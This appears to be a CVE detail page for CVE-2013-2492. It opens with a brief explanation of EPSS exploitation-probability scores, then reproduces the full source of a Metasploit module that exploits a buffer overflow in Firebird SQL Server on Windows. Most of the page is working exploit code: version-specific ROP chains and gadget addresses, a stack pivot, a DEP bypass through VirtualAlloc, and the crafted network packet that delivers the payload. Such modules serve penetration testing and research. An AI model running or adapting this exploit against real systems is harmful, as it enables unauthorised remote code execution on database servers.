CVE-2013-2492 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize super( 'Name' => 'Firebird Relational Database CNCT Group Number Buffer Overflow', 'Description' => %q{ This module exploits a vulnerability in Firebird SQL Server. A specially crafted packet can be sent which will overwrite a pointer allowing the attacker to control where data is read from. Shortly, following the controlled read, the pointer is called resulting in code execution. The vulnerability exists with a group number extracted from the CNCT information, which is sent by the client, and whose size is not properly checked. This module uses an existing call to memcpy, just prior to the vulnerable code, which allows a small amount of data to be written to the stack. A two-phases stackpivot allows to execute the ROP chain which ultimately is used to execute VirtualAlloc and bypass DEP. }, 'Author' => 'Spencer McIntyre', 'Arch' => ARCH_X86, 'Platform' => 'win', 'References' => [ [ 'CVE', '2013-2492' ], [ 'OSVDB', '91044' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'seh' }, 'Payload' => { # Stackpivot => mov eax,fs:[0x18] # add eax,8 # mov esp,[eax] 'Prepend' => "\x64\xa1\x18\x00\x00\x00\x83\xc0\x08\x8b\x20", 'Space' => 400, 'BadChars' => "\x00\x0a\x0d" }, 'Targets' => [ # pivots are pointers to stack pivots of size 0x28 [ 'Windows FB 2.5.2.26539', { 'pivot' => 0x005ae1fc, 'rop_nop' => 0x005b0384, 'rop_pop' => 0x4a831344 } ], [ 'Windows FB 2.5.1.26351', { 'pivot' => 0x4add2302, 'rop_nop' => 0x00424a50, 'rop_pop' => 0x00656472 } ], [ 'Windows FB 2.1.5.18496', { 'pivot' => 0x4ad5df4d, 'rop_nop' => 0x0042ba8c, 'rop_pop' => 0x005763d5 } ], [ 'Windows FB 2.1.4.18393', { 'pivot' => 0x4adf4ed5, 'rop_nop' => 0x00423b82, 'rop_pop' => 0x4a843429 } ], [ 'Debug', { 'pivot' => 0xdead1337, 'rop_nop' => 0xdead1337, 'rop_pop' => 0xdead1337 } ] ], 'DefaultTarget' => 0, 'Privileged' => true, 'DisclosureDate' => 'Jan 31 2013' ) register_options([Opt::RPORT(3050)], self.class) end def check begin connect rescue vprint_error("Unable to get a connection") return Exploit::CheckCode::Unknown end filename = "C:\\#{rand_text_alpha(12)}.fdb" username = rand_text_alpha(7) check_data = "" check_data << "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24" check_data << "\x00\x00\x00\x13" check_data << filename check_data << "\x00\x00\x00\x00\x04\x00\x00\x00\x24" check_data << "\x01\x07" << username << "\x04\x15\x6c\x6f\x63\x61\x6c" check_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e" check_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02" check_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01" check_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b" check_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06" check_data << "\xff\xff\x80\x0c\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05" check_data << "\x00\x00\x00\x08" sock.put(check_data) data = sock.recv(16) disconnect opcode = data.unpack("N*")[0] if opcode == 3 # Accept return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def stack_pivot_rop_chain case target.name when 'Windows FB 2.5.2.26539' rop_chain = [ 0x005e1ea4, # MOV EAX,EDI # RETN [fbserver.exe] 0x0059ffeb, # POP EBP # RETN [fbserver.exe] 0x0000153c, # 0x0000153c-> ebp 0x005d261f, # ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe] 0x0059fe1f, # MOV ESP,EBP # POP EBP # RETN [fbserver.exe] ].pack("V*") when 'Windows FB 2.5.1.26351' rop_chain = [ 0x005e1ab8, # MOV EAX,EDI # RETN [fbserver.exe] 0x0059650b, # POP EBP # RETN [fbserver.exe] 0x0000153c, # 0x0000153c-> ebp 0x005cf6ff, # ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe] 0x0059a3db, # MOV ESP,EBP # POP EBP # RETN [fbserver.exe] ].pack("V*") when 'Windows FB 2.1.5.18496' rop_chain = [ 0x0055b844, # MOV EAX,EDI # RETN [fbserver.exe] 0x4a86ee77, # POP ECX # RETN [icuuc30.dll] 0x000001c0, # 0x000001c0-> ecx 0x005aee63, # ADD EAX,ECX # RETN [fbserver.exe] 0x4a82d326, # XCHG EAX,ESP # RETN [icuuc30.dll] ].pack("V*") when 'Windows FB 2.1.4.18393' rop_chain = [ 0x0042264c, # MOV EAX,EDI # RETN [fbserver.exe] 0x4a8026e1, # POP ECX # RETN [icuuc30.dll] 0x000001c0, # 0x000001c0-> ecx 0x004c5499, # ADD EAX,ECX # RETN [fbserver.exe] 0x4a847664, # XCHG EAX,ESP # RETN [icuuc30.dll] ].pack("V*") when 'Debug' rop_chain = [ ].fill(0x41414141, 0..5).pack("V*") end return rop_chain end def final_rop_chain # all rop chains in here created with mona.py, thanks corelan! case target.name when 'Windows FB 2.5.2.26539' rop_chain = [ 0x4a831344, # POP ECX # RETN [icuuc30.dll] 0x0065f16c, # ptr to &VirtualAlloc() [IAT fbserver.exe] 0x005989f0, # MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe] 0x004666a6, # XCHG EAX,ESI # RETN [fbserver.exe] 0x00431905, # POP EBP # RETN [fbserver.exe] 0x00401932, # & push esp # ret [fbserver.exe] 0x4a844ac0, # POP EBX # RETN [icuuc30.dll] 0x00001000, # 0x00001000-> ebx 0x4a85bfee, # POP EDX # RETN [icuuc30.dll] 0x00001000, # 0x00001000-> edx 0x005dae9e, # POP ECX # RETN [fbserver.exe] 0x00000040, # 0x00000040-> ecx 0x0057a822, # POP EDI # RETN [fbserver.exe] 0x005b0384, # RETN (ROP NOP) [fbserver.exe] 0x0046f8c3, # POP EAX # RETN [fbserver.exe] 0x90909090, # nop 0x00586002, # PUSHAD # RETN [fbserver.exe] ].pack("V*") when 'Windows FB 2.5.1.26351' rop_chain = [ 0x00656472, # POP ECX # RETN [fbserver.exe] 0x0065b16c, # ptr to &VirtualAlloc() [IAT fbserver.exe] 0x00410940, # MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe] 0x0063be76, # XCHG EAX,ESI # RETN [fbserver.exe] 0x0041d1ae, # POP EBP # RETN [fbserver.exe] 0x0040917f, # & call esp [fbserver.exe] 0x4a8589c0, # POP EBX # RETN [icuuc30.dll] 0x00001000, # 0x00001000-> ebx 0x4a864cc3, # POP EDX # RETN [icuuc30.dll] 0x00001000, # 0x00001000-> edx 0x0064ef59, # POP ECX # RETN [fbserver.exe] 0x00000040, # 0x00000040-> ecx 0x005979fa, # POP EDI # RETN [fbserver.exe] 0x00424a50, # RETN (ROP NOP) [fbserver.exe] 0x4a86052d, # POP EAX # RETN [icuuc30.dll] 0x90909090, # nop 0x005835f2, # PUSHAD # RETN [fbserver.exe] ].pack("V*") when 'Windows FB 2.1.5.18496' rop_chain = [ 0x005763d5, # POP EAX # RETN [fbserver.exe] 0x005ce120, # ptr to &VirtualAlloc() [IAT fbserver.exe] 0x004865a4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [fbserver.exe] 0x004cf4f6, # XCHG EAX,ESI # RETN [fbserver.exe] 0x004e695a, # POP EBP # RETN [fbserver.exe] 0x004d9e6d, # & jmp esp [fbserver.exe] 0x4a828650, # POP EBX # RETN [icuuc30.dll] 0x00001000, # 0x00001000-> ebx 0x4a85bfee, # POP EDX # RETN [icuuc30.dll] 0x00001000, # 0x00001000-> edx 0x00590328, # POP ECX # RETN [fbserver.exe] 0x00000040, # 0x00000040-> ecx 0x4a8573a1, # POP EDI # RETN [icuuc30.dll] 0x0042ba8c, # RETN (ROP NOP) [fbserver.exe] 0x00577605, # POP EAX # RETN [fbserver.exe] 0x90909090, # nop 0x004530ce, # PUSHAD # RETN [fbserver.exe] ].pack("V*") when 'Windows FB 2.1.4.18393' rop_chain = [ 0x4a843429, # POP ECX # RETN [icuuc30.dll] 0x005ca120, # ptr to &VirtualAlloc() [IAT fbserver.exe] 0x0055a870, # MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe] 0x004cecf6, # XCHG EAX,ESI # RETN [fbserver.exe] 0x004279c0, # POP EBP # RETN [fbserver.exe] 0x0040747d, # & call esp [fbserver.exe] 0x004ebef1, # POP EBX # RETN [fbserver.exe] 0x00001000, # 0x00001000-> ebx 0x4a864c5e, # POP EDX # RETN [icuuc30.dll] 0x00001000, # 0x00001000-> edx 0x004eaa3b, # POP ECX # RETN [fbserver.exe] 0x00000040, # 0x00000040-> ecx 0x4a8330a2, # POP EDI # RETN [icuuc30.dll] 0x00423b82, # RETN (ROP NOP) [fbserver.exe] 0x0046b5b1, # POP EAX # RETN [fbserver.exe] 0x90909090, # nop 0x004c8cfc, # PUSHAD # RETN [fbserver.exe] ].pack("V*") when 'Debug' rop_chain = [ ].fill(0x41414141, 0..17).pack("V*") end return rop_chain end def exploit connect rop_nop_sled = [ ].fill(target['rop_nop'], 0..16).pack("V*") # this data gets written to the stack via memcpy, no more than 32 bytes can be written overwrite_and_rop_chain = [ target['rop_pop'] ].pack("V") # POP to skip the 4 bytes of the original pivot overwrite_and_rop_chain << [ (target['pivot'] - 8) ].pack("V") # MOV EDX,DWORD PTR DS:[EAX+8] overwrite_and_rop_chain << stack_pivot_rop_chain filename = "C:\\#{rand_text_alpha(13)}.fdb" evil_data = "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24" evil_data << "\x00\x00\x00\x14" evil_data << filename evil_data << "\x00\x00\x00\x04\x00\x00\x00\x24" evil_data << "\x05\x20" evil_data << overwrite_and_rop_chain evil_data << "\x15\x6c\x6f\x63\x61\x6c" evil_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e" evil_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02" evil_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01" evil_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b" evil_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06" evil_data << "\x41\x41\x41\x41\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05" evil_data << "\x00\x00\x00\x08\x00\x41\x41\x41" evil_data << rop_nop_sled evil_data << final_rop_chain evil_data << payload.encoded print_status("#{rhost}:#{rport} - Sending Connection Request For #{filename}") sock.put(evil_data) disconnect end end